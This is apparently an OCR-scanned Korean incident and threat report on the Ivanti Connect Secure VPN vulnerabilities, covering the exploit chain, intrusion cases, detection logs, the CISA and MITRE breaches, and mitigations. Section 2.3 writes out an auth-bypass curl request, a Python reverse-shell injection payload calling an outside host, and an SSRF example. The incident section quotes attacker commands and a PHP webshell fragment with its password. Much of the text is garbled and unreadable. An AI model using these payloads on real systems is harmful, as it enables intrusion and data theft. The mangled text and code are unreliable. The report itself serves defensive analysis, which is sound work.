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1. 7HR

1.1. Ivanti VPN oA
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Y 7Y HAH SSRF /7

=1 =z o 51 =2o
HomEER HEeEET % 23] Hor
24.04.04 24.04.25
g HOlE| oEE XML 2|5 AEE|
Horw o

[lvanti VPN #2Fd 2bd EfRl2tel]

2024 A 1 & 10 ol Ivanti Connect Secure HMZ0IA &l2fot FofH0| YAEIUCE O] FHAXMS 2l

2023-46805)2t EHO| FR(CVE-2024-21887)22 =&
9.1(CRITICAL)Z HII=|QUCt ol2{st &2 2 SZO= Qlsl

[=IrS)

S75h= Ao| =hlz| ALt

Ivanti Connect Secure = di2| HF7|a, = #H XX

ZOrlM E2| AFBEl= 27| A= VPN FH|Z SLHo|ME B

rlo

FfEES A xz 2AHSH 2oF AT 7|2l Volexity = 2023

=
o
8.

#lofd 53 AAH(CVSS)OIN 22t

23|(CVE-
2(HIGH) 2

—a
FlofHol S7HE Ol= Y TH|of tiet 34 A=t
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2. Ivanti VPN #|2™

2.1. Ivanti VPN Al23igt

—

vanti = © MAZXS=Z 4 Tt5 MX O|&el nMES HKSID JCH, ivanti AZEQN HE2 4 Mo 2 0|0l
2gEn et 0j=8d 31 NASA o & = H|IR3H EZE 100 Cf 7|29 96% O|A0]
AHEE0|H, Sl FLHOIME E&AL CHSW 2 2HU0| Hie BMEAE R FO|C|

45k+ 96% 2k+ 40

0 Qe Z2t0]| = T2HA; ZEX] 1000 71 LY A SIEROIE EH|

2.2. lvanti VPN #F2tH 7@

2 EMole 2o XS™MeZE UAR D U= Ivanti VPN FE & mZ=0| H FHQl 'CVE-2023-46805(2!F
3| F|ofd), 'CVE-2024-21887(FY F¢ #ofH), 'CVE-2024-21893(SSRF #AZ) off Chal CrECE Cie2
34 OS2 0| M| 7HX| FAES HESIH o HTEQ| Ivanti VPN & ZHSIRULE

A4 7|ZF: CVSS Score: NIST / Record Created Date: MITRE / Published Date: NIST

o Record Published

HEY CVE Number Base Score Description
Created Date Date

CVE-2023-46805 8.2 HIGH QT R3] FUH 2023-10-27 2024-01-12

CVE-2024-21887 9.1 CRITICAL HE ) FHAH 2024-01-03 2024-01-12

CVE-2024-21888 8.8 HIGH ot 45 FIH 2024-01-03 2024-01-31

CVE-2024-21893 8.2 HIGH SSRF F|ofA 2024-01-03 2024-01-31

Ivanti Connect Secure CVE-2024-22024 8.3 HIGH XML 2|2 E[E| FH 2024-01-04 2024-02-12

Ivanti Policy Secure CVE-2024-21894 9.8 CRITICAL g HEES FoUH 2024-01-03 2024-04-04

CVE-2024-22052 7.5 HIGH g EQIE o X FoH 2024-01-05 2024-04-04

CVE-2024-22053 8.2 HIGH g HEZR F oA 2024-01-05 2024-04-04

CVE-2024-22023 5.3 MEDIUM XML 2|2 E[E| FH 2024-01-04 2024-04-04

CVE-2024-29205 7.5 HIGH QT 35| FUH 2024-03-19 2024-04-25
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2.3. Ivanti VPN |23 HHH2IQ1 AN 2N

HI

1. CVE-2023-46805(2!F 23| #|24H)

SlE |22 |vanti Connect Secure I Ivanti Policy Secure O|A] WMist= olx 3] [ o=z EX AP| Of
EXst= FAHE 0|85t0] 21F nES +HSHK| @t LHE 20| 7Hs%t FefHo|Ct.

24 MHO Ho| HIEZ| M oF nEES FHsIoof SH=XIE Helsty| Qs URI E ABSH=E =
‘doAuthCheck’7t ZZHSICE st S4= 22X H|W &4 ‘strncmp'S AF2St0] @K 92 URI £ HSEE N

=
DS 940f HjWPt F|, ZH| Y= EXIF0| EXSCHH N 7| 0|22 URI = Aglo| 215 ™S SR =Lt
vi8 = ( t void *)getDevice(al->dwordC);
( (unsigned int8)sub_873D0(al->uri_path, v18) )
1;
uri_path = al->uri_path;

( !'strncmp(( char *)uri_path, “/api/vl /", 0xDu)

|| !'strncmp((cor char *)uri_path,
|| !strncmp((const char *)uri_path,
|| !'strncmp((cor char *)uri_path,
|| !'strncmp(( char *)uri_path, "/api/vl/pj n/", 0x13u)
|| !'strncmp(( t char *)uri_path, “/a ’ ", OxFu)
|| !strncmp((cor char *)uri_path, “/api totp/user-i 1 , 9x1Du)
|| !'strncmp((cor char *)uri_path, pi/v pdata”, 0x10u)
!strncmp(( t char *)uri_path, "/api ", 0x10u)

[doAuthCheck &t 25 &)

FItMQl 21F A= ‘PyRestHandler:handleRequest’ &4=0llA EIHE|=0, ‘/api/v1/totp/user-backup-code’'E
Al

A5h= URI = 15 AAE &St 4=t

& 0|83slo] 24 ¢IE0| RSt A=ZQIERZ HIS Axet =
Z)2 Sl &9 CIAMEZ|Z 0|33t QIEE2 Q7oK ¢f= URIZ =2/g + Ut
Directory Traversal: 49| CIEEH2|22| M2 Al=7t HEE E[X|got 518 & FYH
https://192.168.86.111/api/vl/system/system-information
HTTP/1.1 483 Forbidden
Transfer-Encoding: chunked
X-XS5-Protection: 1

Strict-Transport-Security: max-age=3

[AAEel HZAl T2 HE HIAIXI(403 Forbidden) Etet]

$ curl -ik --path-as-is https://192.168.86.111/api/v1/totp/user-backup-code/../../system/system-information
HTTP/1.1 2@ K
Content-Type: application/json

Content-Length:

[F12FH 018 HIAl 83 HAIXI(200 OK) X AlAE Hi hah)
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2.CVE-2024-21887(Hd F=¢ #|2H)
SliE F|2k™ 2 |vanti Connect Secure & Ivanti Policy Secure O|A &4isH= RCE FA4HOZ, 2o H0| A=l

S 3 URIO| & Al sig MM Yolo| FHS MAY £ A EICh

ZZKE O|S CH2 #|9f%(CVE-2023-46805(21F 23| #(9f), CVE-2024-21893(SSRF #|fA))zt HZstof
stLte] 9 AZ29l H[Ql(Exploit Chain) 22 ALSY 4 QICh

£ MESIH 59l Z2MAE WHS=0l, 0|F S&XL
RUCL  ‘restservice/api/resources/license.py’ {9
HE X2[sts get HMEO| HAHO| FUE URI ZEE

s

oto|#e| ‘Popen’ Ol2te REME AEAL MEst= ol
kg%t RCE(EE Y 34) 34 A =+
‘api/v1/license/keys-status’'2 A|ZtSt= URI Off CHst 2
MESt] AA HYE HHO| JHsSC)

if request.path.startswith("/api

dsinstall = os.environ.get({"DSINSTA
if node_name == MNone:

node_name =
proc = subprocess.Popen(

dsinstall

[license.py W get HINE 2UH]

‘lapi/v1/totp/user-backup-code/../../license/keys-status/;[EH];’ e 20| HHS st URI HZE 23 =
A

HESH= 2 ‘Popen’ 250| EE&[= IH0IM o H0| MHEIL]

;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);
s.connect(("192.168.86.43" 4444));subprocess.call(["/bin/sh""-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())";

[ElHA & dd T olA]

$ curl -ik --path-as-is https://192.168.86.111/api/v1/totp/user-backup-code/...../license/keys-status/
%3b%70%79%74% (2U2Y LHE L W) 6f%28%29%29%27%3B

[HE 4 URI ©E olAl]
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3.CVE-2024-21893(SSRF #2H
S FYEE Ivanti Connect Secure % Ivanti Policy Secure Of|A] 'Z4st= SSRF F YT =E, 2l

CVE-2023-46805 2 Z0| EF A=HIENAM IB2HF0| gl= HE AHETIC,.

23] #orel

ol

SOAP 7|Ht9] SAML QHE AHNz|st= MH|AS] AE=EZQIENE= ‘/dana-ws/saml.ws’ ‘/dana-ws/saml20.ws’,

=

'/dana-ws/samlecp.ws’ 7} RU=Hl, 3FXk= 0| & Ydana-ws/saml20.ws' AUEIQIES] ZHL °QIF 10|

LS| k0F SSRF 30| 7+s3ict.

[ !memomp{uri_path_1,
!memcmp({al->uri_path,
Imemomp({al- >uri_path,
| strmomp{uri_pathl,
| strncmp{uri_pathl,
| strmomp{uri_pathl,

| strmomp{uri_pathl,
|strncmp{uri pathil,
| strncmp{uri_pathl,

| strmomp{uri_pathl,
| strmomp{uri_pathl,
| stracmp{uri_pathl,
| strncmp{uri_pathi, 1 lemt/", 3L » Bx1Du) )

t woid *)getDevice(al-:dwordC);
Jsub_87308(al->uri_path, wiE) )

uri path = al-:wri_path;
{ !strmcmp( t char *)uri_path,

[eI50]

TStX| Qb= SAML A= HOIE]

i

-

SOAP RHE Zost SAML BHES Melst= ‘'saml-server’ HIO|LH2| THU2 AJAEIQ| /home/bin/same-server’
Z20| Exfsh=0l, SAXIF HETH QAUBEX| A2 HTTP POST LS NSt XML 7HHZE Hetsh=
‘SoapHandler’ &7t S&6H= 2HHO|A ‘xmitooling’ Z2l0|EZE2|E QHTICt ST 2to|E2{2]= CVE-2023-
36661 2+ 20| SAXL7L o2 M3t ‘Keyinfo' JHHIS ALETH SSRF #AFE X|L|T 2l0f ‘SoapHandler’ 42|
4

o
St F|ofEE XIUA =k

il

Sxg Qe

40

SAXHE ‘Keylnfo' JHA| Lol HH 22258 2

MEol| M&35to] SSRF 322 & 4 UCt

0t
ot
rr

S HMEES ZE5H MY =, XML SOAP SF2| HEfZ I

d Alporithm="h

[XML SOAP 0Of|A[]
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3.1. Sijit Ivanti VPN %o} 2M Al

CHS Allle 22X} Ivanti VPN |FH
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E
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5% HE

Ivanti VPN
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ll Sit Server Zone }

&

=

Hacker

1) Ivanti VPN F4H 33
(CVE-2023-46805, 215 23))
(CVE-2024-21887, ¥ FJ)

v

ﬂ

- [WMI] Network 2121

2)AD IAZ2|FAE =S U EJQ

r

A
o

o't
o

lvanti VPN

FIETTE EE P
e | R e
|
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olziel &= 329 TTPs(Tactics, Techniques, Procedures)E

-
No Tactic Techniques Description
1 Initial Access Exploit Public-Facing Application (T1190) Fofde 88t x7| AT
Windows Management Instrumentation(WMI
2 Execution g (WM AES 7= ERWMN)E 083t HY A
(T1047.001)
Brute Force (T1110) 2| oY 3AS o8ttt ZHA &5
3 Credential Access Adversary-in-the-Middle (T1557) MitM(EZtX 32)g 08¢t ZHld ==
0S Credential Dumping: NTDS (T1003.003) Dump € 0|8% 3zdd =5
4 Persistence Web Shell (T1505.003) A4 MMS 0|23t HA e
Remote System Discovery (T1018)
5 Discovery CFE 0|8% iR HESA thie AZM
Network Service Discovery (T1046)
6 Lateral Movement Remote Services (T1021) EM ZZEZEE Eft 5H 0|8
7 Impact Exfiltration Over C2 Channel (T1041) C2 BAE 8%t HE RF

ZZXH= Ivanti VPN Zero-Day #|24&(CVE-2023-46805, CVE-2024-21887)S
HI)E SI¥CH Ol L3t &2 ™S Sdll LHE Aol et H&Ea 2l Mo

1) 33%= WMIRE
o

Jk9)

ot

2

= A
— =
ISR, DCsync 3HE Sdlf AY =250 438

22 TTPs]

4 H)E S &

= S o
=215 23] U 2

3o A3 0 IZEMA 3 MHAE

DCsync 32: AD OflA AFBE|= =0l ZES{0M ALEXt AIFe| SHAIE =xlst= 32 7IY

SK&IL{A Top-CERT

H{W | 1P Address Description T8 Detections 21
1} New WMI Process Creation
- Win32_Process:Create
- offender; == ———— -
- wvictim: UL
Z2) Domain Trust Enumeration
- DC: | u u u | | n | |
- victim ;B
239 - LR e 3) DCSync Activity
u n L | | | I W u n u . n
n u | n HEm n H mm u u | H n
u
4) DCSync Attack
u u n . n u n mm | |
u n | n | EER | | [ B | u m
| | |
[NDR EfX| 21]
_9_




4 Domain Trust Enumeration

Track Detection

Status Assignee

1 5-THLIATE 2 (AD) received an LDAP query to retrieve domain trust information. This is the first time that the offender sent this specific query to 2! 5 - (QILIAY| 2(AD) An
NoStatus & Unassigned &

attacker might be trying to learn f a compromesed device Can acoess resources in another domain.

SUSPICOUS QueTies

* DC=ADTKOREA DC«COMawholeSubtrees{obectclass«trusteddomnan)

2. OFFENDER

Related Detections

Current Detection

[NDR EfX| 3}H]
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2) 3ZAXh= Active Directory ZZ|Xt AEE 7| floi A Y 34 L= UK 3AS 0|23 AD 22Xt
A FYHLS 2=S3IE A=z FHEH, 0| WMIE A0 AKX AIE 210lof| 3
Categot ~ |Logfile [~ |Type | ~|_time -1|hostname [T =0+ |AFE 0| J[HE HE.|2F IH7|X]|
232 |Security |ZAFEE = = = NTLM
232  |[Security |ZHAFZTY = NTLM
22 [Security |ZHAFEZ u o NTLM
212 |Security |ZHAHHEZ @ NTLM
232 |Security |HAEZ = NTLM
212 [Security [HAI 83 = - i o NTLM
212 [Security (HAHES - " NTLM
[WMI 23]
date . sreip - srepe - dstip - dstpo - sessior +  octicr - sentbyte - rewdbyte -
[ 45874 1032142259 443  22E+09 client-rst 166780197 19577772 |
S0080 443 2.2E+09 server-rst 18019 7062
17105 443  22E+409 close 4385 6500
VPN , - - 2
16968 441 226409 close 212 132
53645 443 2.2E+09 close 212 132
16969 443 2.2E+09 close 212 172
[Z2HAE DB M EHF =T FW 23]
3) 3ZXt= Active Directory Al XE = 2|HA EZEA A4MHIS(FRPC, Fast Reverse Proxy Client)E
CHREES

Mastware

FE_Tunneler_Linux 591 FEC2

FE_Tunneler Linux_FRP_1 FEC2

Alert Details

NertType  Malware Otject
00000

Matware
Application Type
File Type

Yara Rube

AV Suite

Blocking Action
Application Context

Severity Tieme (KST)

Victim P

FE_Tunneler_Linux FRP_1 FEC2

RanfLF 10

of
FE_Tunneler_Linux F#P_1
FE_Tus

NOT blacked O

CUBNT APP

URL

- Victim IP

Attacker 1P

3122030244

1032142259

Attackes P 101

Sowrce IP

Sowrce Port

Sowrce MAC Address
Destination IP
Destination Port

Destination MAC
Address

FRPC: 2|2 ZEA|, SA%Ie 22 chaol

URL

3122030 244 443 rpe

108.214.22 S0rpe

950
Xcecef312690
103214225
®0
00000c074e6

[FRPC EfX| 27]

Time (KST) 0171

0

Distinguisher(UUID) 62

uRL 1
MDSsum 7
SHA 256

Replay Peap

060441 b3R8 3270

654109 D20 aafEiSa520069

SK&IL{A Top-CERT
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4) MHIA 22 9 HESIT MEf ol S THOIS UHOR 2UsI0] LR WH/OISS 2%

T i H i Yei|e P i|e T 1
& PROCESS Process Creation e N/A
¥ INDICATORS Behavioral Indicators % N/A
@ PROCESS cmdexe /Q /c cd \ 1> \\127.0.0.1\ADMINS\__1705399827.8036606 2>&1]  Process Creation 2 cmd.exe
€k CROSS_PROCESS  \?7\C:\WINDOWS\system32\conhost.exe Oxtftffftf -ForceV1 Open Remote Process % conhost.exe
M INDICATORS PACAWINDOWS \system32\conhost.exe Oxfffifftf -Forcevi Behavioral Indicators R conhost.exe
D FILE emdexe /Q /c cd \ 1> \\127.0.0.1\ADMINS\__1705399827.8036606 2>61 | File Creation e cmd.exe

[SentinelOne(EDR) log]

No Command Sample Description
CleEz|
1 cmd.exe /Q /c cd \ 1> \127.0.0\ADMINS$\(ZA|THY) 2>&1 ol
2 cmd.exe /Q /c dir 1> \127.0.0\ADMINS$\(ZA|IHY) 2>&1 oY =5 =9
3 cmd.exe /Q /c nslookup myip.opendns.com resolverl.opendns.com 1> \\127.0.0. \ADMINS$\(A| Sojol e X3
mel) 2581
4 cmd.exe /Q /c netstat -ano 1> \\127.0.0.\ADMINS$\(2A|Zt!) 2>8&1 HEQZ MA
5 cmd.exe /Q /c del abc.txt 1> \127.0.0.1\ADMIN$\(A|TH) 2>8&1 oY Al
6 cmd.exe /Q /c type .htaccess 1> \127.0.0.\ADMIN$\(A|THY) 2>&1 ot =tol
7 cmd.exe /Q /c move board-fileicoo.php abc.txt 1> \127.0.0.\ADMIN$\(A|Tt2!) 2>&1 o ojs
EEENED)
_12_

SK&IL{A Top-CERT




5) FHO A2 Al Ci31t 20| CIAE2|E o|5e
No Directory Name No Directory Name
1 \ (Z[A¢] CIREZ]) il ezHelpAppMainServer
2 Program Files (x86) 12 ezHelpMainServer
3 Apache24 13 img
4 backup 14 input
5 calendar 15 pubic_html
6 common 16 root
7 conf 17 shnlp
8 data_dir 18 skin
9 EzhelpAppApp 19 webapps
10 ezhelpAppliance -
[OI= ClHEe] ==]
6) LiF O|=s0l g3t 3&X= ChE3a Z2 7|s0| A Jtset gds MYy, 25 VPN EHE Z= 20 =7t
AE 22E g8 Az
No Function ‘ Description
1 $genshin != ‘genshin982544@$' o2tole 2t 43 = &
2 $_GET['dir"] o 8l ClEEE| S8 M7
3 $_FILES['file_upload'] o Y2
4 $_POST['edit_file'] e my
5 $_POST['delete_file'] el AbR|
6 php_uname() MH 7|2 M2 X3
7 realpath($dir) oxf ClHEZ| 22
(A% 84 55 2 7Is]
Active - Record type - Filename #1 - FN Info Creation date -
Active File /ezhelpAppliance/public_html/common/calendar/calendar ahmax 20110812150632.php
Active File = = mEme om = El == e =
Active File . ; 5
Active File - - e -
Active File =rn = = W . e N L] =
Active File N TEE M e RN = B | = @
212 4 of2y]
$dir=isset($_GET[ 'dir'])?base64_decode($_GET['dir']):"'.';$files=scandir($dir);Supload_message='";$edit_message='';$delete_message=
('%0',fileperms($file)),-4); }function is_writable_permission($file){return is_writable($file);}if(isset($_FILES['file_upload']
dir."'/'.$_FILES['file_upload']['name’])){$upload_message='File berhasil diunggah.';}else{$upload_message='Gagal mengunggah fil
];$content=file_get_contents($file);if($content!==false){echo '<form method="post" action="">';echo '<(textarea id="CopyFromTex
htmlspecialchars($content).'</textarea>';echo '<input type="hidden" name="edited_file" value="'.htmlspecialchars($file).'">";e
btn-outline-light">Submit</button>';echo '</form>';}else{$edit_message='Gagal membaca isi file.';}}if(isset($_POST['submit_edi
[ T U=
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i I Voommony Calendar /¢ shendar_ahiras 201108121 50612 Yperutur e guraha S0 44454 I

Carront drectory CedhelpA

Server informabon ISR W IEOENTOE

pusic_ham

I S IS O

SK2&HA Top-CERT

Upload fle | BI% 24 |=9E 2% &8 ue

Fllename Permissions Actons

. Dwectory

- Dwactoey

caeadal_shmax css 0566 Edt | Detese |

Caendar_shmax s 0660 [Eat | Do |

cakndar_shmax_20110812150632 php 0868 [Ede | Detese |

Jquery js () [Edn ] Detee |

Jaunry mousewheed min s 0666 [Eon | Detesn |

(22 26Ul
DATE  -| P 1| HEADER - URL | status 1| byte -
] -— [ GET /common/calendar/calendar_ahmax_201108121506322genshin=genshin982544@$ 200 4024
| el o lletes B POST __|/common/calendar/calendar_ahmax_201108121506327genshin=genshin982544@$ 200 4054
BT ST T GET [/commony/calendar/1 200 10
el ™ e T T . GET  |/common/calendar/calendar_ahmax_201108121506322genshin=genshin982544@3 200 4490
e ™ w POST |/common/calendar/calendar_ahmax_201108121506322genshin=genshin982544@$ 200 4166
ot Bl 5= ML RS POST ___|/common/calendar/calendar_ahmax_20110812150632?genshin=genshin982544@$ 200 4052
= . e R GET /common/calendar/calendar_ahmax_20110812150632 200 -
= b= =i ow POST  |/common/calendar/calendar_ahmax_20110812150632?genshin=genshin982544@$ 200 4052
[T W R POST /common/calendar/calendar ahmax 201108121506322genshin=genshind82544@$ 200 4052 |
[C2 ¥4l M2 Weblog]
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3.2 Ajit Ivanti VPN F2d 2M AR

CHE Afell= OIF S il At 22 7|Ztofl Ivanti VPN O{Z20[iAt SAX C2 2te| HI0[E| S410] 2QIEl Alz=,
lvanti VPN F4HS St 2= HF 0| VPN {Z2fo[|dA0] chiot &3 o EF s 435U HY &=
I

[ | 1
LS B, L5 S So| B ol gl HOR HQIE|YCE

4[ At Server Zone ]7
p— _ LH o -

--- e il *
Hacker | :
X i
1 1
1 1
1
3) T =3 1) Ivanti VPN 3[2d 22 : -
- Ivanti VPN (CVE-2023-46805, 915 23)) : :
4 Y 3 (CVE-2024-21887, €7 &) X AD AH] i

1 I see
1 1
1 1
1 1
A 1 1
2) U5 o|s 20 I ]
- HYY ERTW OEY | :
\g/ 1 :
Ivanti VPN " K

(27 ]

FW 23 =

e

21}, Ivanti VPN O{Z2t0|iA0t AKX} C2 29| H|o|E S4E &elsiien, F7|1Hel fH JHqt

= = - o
g 7Y 2E R2 59 FAHO| HH=UZS =elet
‘ g

Session Allowed 15572 443
Session Allowed 15572 443
Session Allowed 15572 443
Session Allowed 15572 443
Session Allowed 43614 80
Session Allowed 43614 80
Session Allowed 43614 80
Session Allowed ] 43614 80

34Xt IPFW B4l 23]
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3.3. 82| Ivanti VPN H|200] = AR|
Ct22 slie 7|0l LA [vanti VPN H|Z0|0] ZZ0i| st CHEXQ! At|SO0|Ct.
1. CISA Ivanti VPN HI20|0] 22 (24.03.26)

CISA(AIO|HHEQF 5! olmat Hotx2)7h X[t 2 2 |vanti VPN MZ0|0] FA4Fo=Z Qg lzat E5(IP) HIO|ELo|2t
slel 2ot W =7(CSAT) S Dizist o8 Mol HET Zotel AJAH0| HHE 3125t At|o|Ct.

32 26 Y CISA = HAIXIE Ed 2AXHE=E A 12 ¥5E Ivanti connect Secure 0{Z20|H A0 CHst Zero-day
FAHS Sl AAHO CHst HZ Yol SN, 2 Co| A|AHI| DSHE U3l HOZ olz|ACtn WHECE
CESE S ARAO!| CHEE LHE ZRAF Z3b ZZXIIF CSAT 70| Cis el HiEHODN A|AHI| Cist EX2 AAO|
UAAH Aoz =Rt RS HRUCE

A

Ol THSH CISA & oliEf TS BE of2f AR S BS 300 Ivantio Ui U R ICT 7} Hoh ArS 2
RYCHS AFUS QD oo, MM TN SHHO AT AUSH A anti ICT It ot
SRIS7I0s BSR40t Mo M 0|30l Aol thet BT 7[NS ASICiE BAXE BAR
N&MOR om, XH SYS BAE HRIIM Cf Liop FAl =il ool 248 28 4+ ASS
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EMERGENCY
DIRECTIVE

ED 24-01:

MITIGATE IVANTI CONNECT
SECURE AND IVANTI POLICY
SECURE VULNERABILITIES

[CISA 215 XIE 24-01: Ivanti VPN %|2& HeH
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2. MITRE Ivanti VPN HZ0[0] 22 (24.04.19)
o|=9| ot gl =Hot 2t H|Fe| thil MITRE 7 1 €2 Ivanti VPN 0{Z2t0|9A 9] HZH|0] FAFOZ Qlsl LiE

HE S MHASE FE HF SO LHE Y2 AEHo|C.

4 219 & MITRE & 34 & HO|XIE S3ll 1 Z Ivanti VPN FAECZ Qs MITRE 7t 2FZ2 NERVE 7t
HoHYAUCD LEYCE MITRE o FEo| M=H I7t i<l 21y Xt gt SHo|H Dj7HRe AY ZXE
MK SR UCH= AT 8L ojof| 2teh =7t M1 Atels LHISICE

NERVE: Networked Experimentation, Research, and Virtualization Environment 2| 2Xt2 MITRE 2 it HEQIS

MITRE Response to Cyber Attack in One of lis RED Networks

MITRE Response to Cyber Attack in
One of Its R&D Networks

APR 19, 2824

To offer learnings from its experience, MITRE has published initial details about the incident via the Center for Threat-
Informed Defense, found here [ .

McLean, Va., April 19, 2024 — MITRE today disclosed that despite its fervent commitment to safeguarding its digital assets, it
experienced a breach that underscores the nature of modern cyber threats. After detecting suspicious activity on its Networked
Experimentation, Research, and Virtualization Environment (NERVE), a collaborative network used for research, development, and

prototyping, compromise by a foreign nation-state threat actor was confirmed.

[MITRE EsHALD 24! 7|AH
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Hi, I'm Charles Clancy, Chief Technology Officer of MITRE.
In January this past year, over 1700 organizations were compromised by a sophisticated nation state threat actor.

This threat actor compromised the Ivanti Connect Secure appliance that's used to provide connectivity into some of
our most trusted networks.

MITRE was one of those compromised. In the interest of transparency and public interest, we really want to share our
experiences, so others can learn from it

We took all the recommended actions from the vendor, from the U.S. government, but they were clearly not enough.
As a result, we are issuing a call to action to the industry.

The threat has gotten more sophisticated, and so too must our solutions to combat that threat.
First, we need to advance secure by design principles. Hardware and software needs to be secure right out of the beo.

Second, we need to operationalize secure supply chains by taking advantage of the software bill of materials
ecosystem to understand the threats in our upstream software systems.

Third, we should deploy zero trust architectures, not just multi-factor authentication, but also micro-segmentation of
our networks.

Fourth, we need to adopt adversary engagement as a routine part of cyber defense. It can provide not only detection,
but also detemrence to our adwersaries. Adversaries are advancing new threats and new technigues.

We need new solutions, and together we can develop and deploy those solutions, thank you.
(8 G4 LE]

ot H|Fge| chHle] A Hot AIX|L| A FZHE(Lex Crumpton)O| Medium & 8| HAMOZ ZsH A0

M2 9% WYX= Ivanti VPN B3 Zero-Day #/9FH(CVE-2023-46805, CVE-2024-21887)2 248 I MM

SIOIHZES E%F MFA QIZ R332 Eoff AUMA HeE Aol 4= HHEE 0|2 WHE 0|5 3 VMware
P o

olmets HEslo] ASHOE NASY 4TS ) W0l U WYS MAYCHD HCh

—Ho

SIHE MEXQl TTPs = CH31h 2Tt
No Tactic Techniques Description

Ivanti VPN (CVE-2023-46805 &

Exploit Public-Facing Applications (T1190) CVE-2024-21887) #loHd Alg
- = I =] =)

1 Initial Access

Valid Accounts (T1078) 2AE AH A

. Server Software Component:
2 Persistence Webshell AX|
Web Shell (T1505.003)

3 Execution Command and Scripting Interpreter (T1059) Y 9 ASRE M
Remote Service Session Hijacking (T1563) Session Hijacking2 S3%t MFA 2%
4 Lateral Movement
Remote Services (T1021) SSH, RDP Atg
5 Exfiltration Exfiltration Over C2 Channel (T1041) C2E %t Moy |
6 Defense Evasion Hide Artifacts: Run Virtual Instance (T1564.006) VMwareOl| 7ta H{Al A4

[S7HE MF TTPs]
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4. Ivanti VPN #|2

0lo
p =]
g
U

Hob FfN, E3] x4 el HM=ZOo] 2 1-day FUHS 0iE BIt M0 ASH, of2{st FHAF2 L &
. Ivanti VPN Z&2 £t o{E2i0|HA FH|o| HL Sdl
£ EXY| ZELEZST 2|sh= o] HOoICh HE
MZOo] FetEo| Wist = X7t 2tEEl 7|¥ollMe 3EX7E LHE 2oj| ojo] A& JAE=X HRE

Hastor ot

Of2fl= SK &l{A Top-CERT OflA Ivanti VPN F|FEut 2taaste] ZsHAlD/EX FHof| H|o|AZ AEtt EH X2
2[AEO|Ct Y MIAZAES Hst] FbH e U SR LR Lol ojo] HEH A= A2 oftX|ol chet

—

HasH L0toF Str.

No et e

1 Ivanti VPN Ivanti VPN %4 HE mHX| M8 4

2 Ivanti VPN Ivanti VPN / Active Directory Z2|At AN S 3iHM M
3 Ivanti VPN Ivanti VPN CHEZ OIRHIRE Eeill Exf |7 dd
4 AT 0| Ivanti VPN CHst LiE diotsd HM 4 MY

5 44 0|5 Ivanti VPN B> LiE At 27391 S0[AlY R HY

6 4 0|5 WS M 4P LT M 23921 S0[AIY |5 HY
7 Hot B Ivanti VPN ESHXIE(IP)7} BfX|El Hot ZH| O[HIE HH
8 L& M Ivanti VPN &siX|E(Hash)E S¢ot 2ot ZH| o[HE XA
9 LS MH 0 9| Hob Mo 3AXIe Hal| =5 HY

10 27 2k AlA=R 270] Ciet 22| HA

[lvanti VPN &3l HA M= 2|AE]
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4.1. Ivanti VPN %A HE x| e HA

RIZE0] #oFH0| WAEY HCIAIME #IoFd AHOIES Sof 3PS CHSSITh HOt THXS JHehs oHEolA
2 oMz YASts Si7IT EXSCE lvanti 3S0ls Ax 1 Y
#ory X WE 0[F Ivanti VPN %8 OILIZE T2 Ivanti RIZZOIME 27} FoHH0| HAED ULk KISA(HIS

—a
& 3R), Ivanti WIHME Sl X[£XQ1 YHO|0|E HLEZS S A4 AC0|E

- 1= d
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FIMHRl FofHo| HARE FRE EXHSt L

ot

uj
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08
ot
rir
»
=)
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ot
ful

4.2. Ivanti VPN / Active Directory Zi2|xl A S Iy Hid HA

SAXH= Ivanti VPN 2ot 815 0|2 LR F@ MHEZ 0|52 oIt I2fd4 23 A7t 2o FHloM EXI=ACH
24 A3 Ivanti VPN It Active Directory(AD)7t S¢t 2|HIES AI8sh= 20| HRIE[CH, 0| 0|8%t LHE
M AE = Y 30| LMSIAICE Ivanti VPN ot AD 2t SUsH Saj|dido| MAES XiAstD, L4l R0
E|Avto| Hotts Hojg g eltt

4.3. lvanti VPN LCH{E2F O}22H}2E Ezjul

I
2
40
{0
21
M

SM ARiolA vanti VPN 2 S% CH82 Outbound S4I0| BRIEiCh sgt Hobe ©as| VPN of
S g Z0| Ofd VPN EH| XpHlo| M3t
=
o

o
= =
23t AlgoAls Hot WIS IO (h8Y olRHIeC Edjmio] Hux|, SEX|

HUS| 2ol 20| WAHo|Ch, 0/ 3 Emo| J|Zo| FolEl Hot HMS Zietn UK RS M|

4.4. Ivanti VPN CHigH LiE dispH XX M™ HA

Ivanti VPN ZH|o| LiE ol MMS HESICH £3], “VPN ZH|(Src) B LS QlZa},

1= =
H2 Z=EZ0f oot M2S xteetez R7p-el Fofy 2d Ao LR HEI 29 Rt 0|52 ofjgelrt.

4.5. Ivanti VPN p L5 M 273921 Eo|AS 82 HA

“VPN FHI(Src) B UIE A, EIHDst)'Z ot #1H M2 DEE3 oo ol IS 43, Mm, Az,

=]
2391 9IX| S= ZEeldt 23 Ho[HE EMte FY HIAS
LHE AMH, TH(Dst)"2| {1 Z2EE2 HIFYH W2 A 2 Z2ES0| d3ct =5X| B2 7t HAS

Sofl Zoll A7t AA=X] HHHL0t0F SHCf.

4.6. LIE MH «-p WE M 239! SojAld fF HH

LS M| 7ol 217 M2 DEES YSS HASH0} $iTh 0|2 s 2191 AITO| 4T ofR, AIZitH, 29l 9IX|
S2 Esist 20 COEE 2Ajsio] Hakel BE YIS At 04 WIS Ao} it UsHoR BalRHs
"ALBTHsIC)OIM LR MM (dst)'20l $1H IS LUK, DR LS M Ziol wshs mmol HorMs

0|83t LR MHE S22 HEe= &gt
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4.7. Ivanti VPN H&iX|E(IP)7} EXIEl Hot ZH| O[HIE HA

El= HoHXIE IP off CHot M-S AL SHH, 3 2 E CHEOf| CHol etMlst Hot MAS

a [ - o4
AABHOF BICE O] YR Tl Hob S AEstn, MHEoh RX|E FLQEZM FIHMQl DIHE WX|sh=

24 9 01 & O|= Ivanti o FAHS tHMC=Z o MHXIE IP X[EH2E ZRED UL 02T X|&EHoZ HH0|E
] | <
x

4.8. Ivanti VPN EsHX|H¥(Hash)S St 22t &H| oOHIE HA

2024 A 12 0= Ivanti #|oFET} BRIEl HSXE HASH 7 XI4HO= ZX|E|n UALICH Hot ZulojM It
x 5

[
AL AAE XIASICHHA HAS =M 2 Jtsth 22 /¥S At [8ixOF it

4.9. 1 9| Hot FHFER MHoIN SAX Mol =¥ M

vanti & THAOZ 3 BAXISS DTSE B J|Wnt ofE| TAL J|S2 ALSSIHCE 7IEQ| W s|ste] Hot
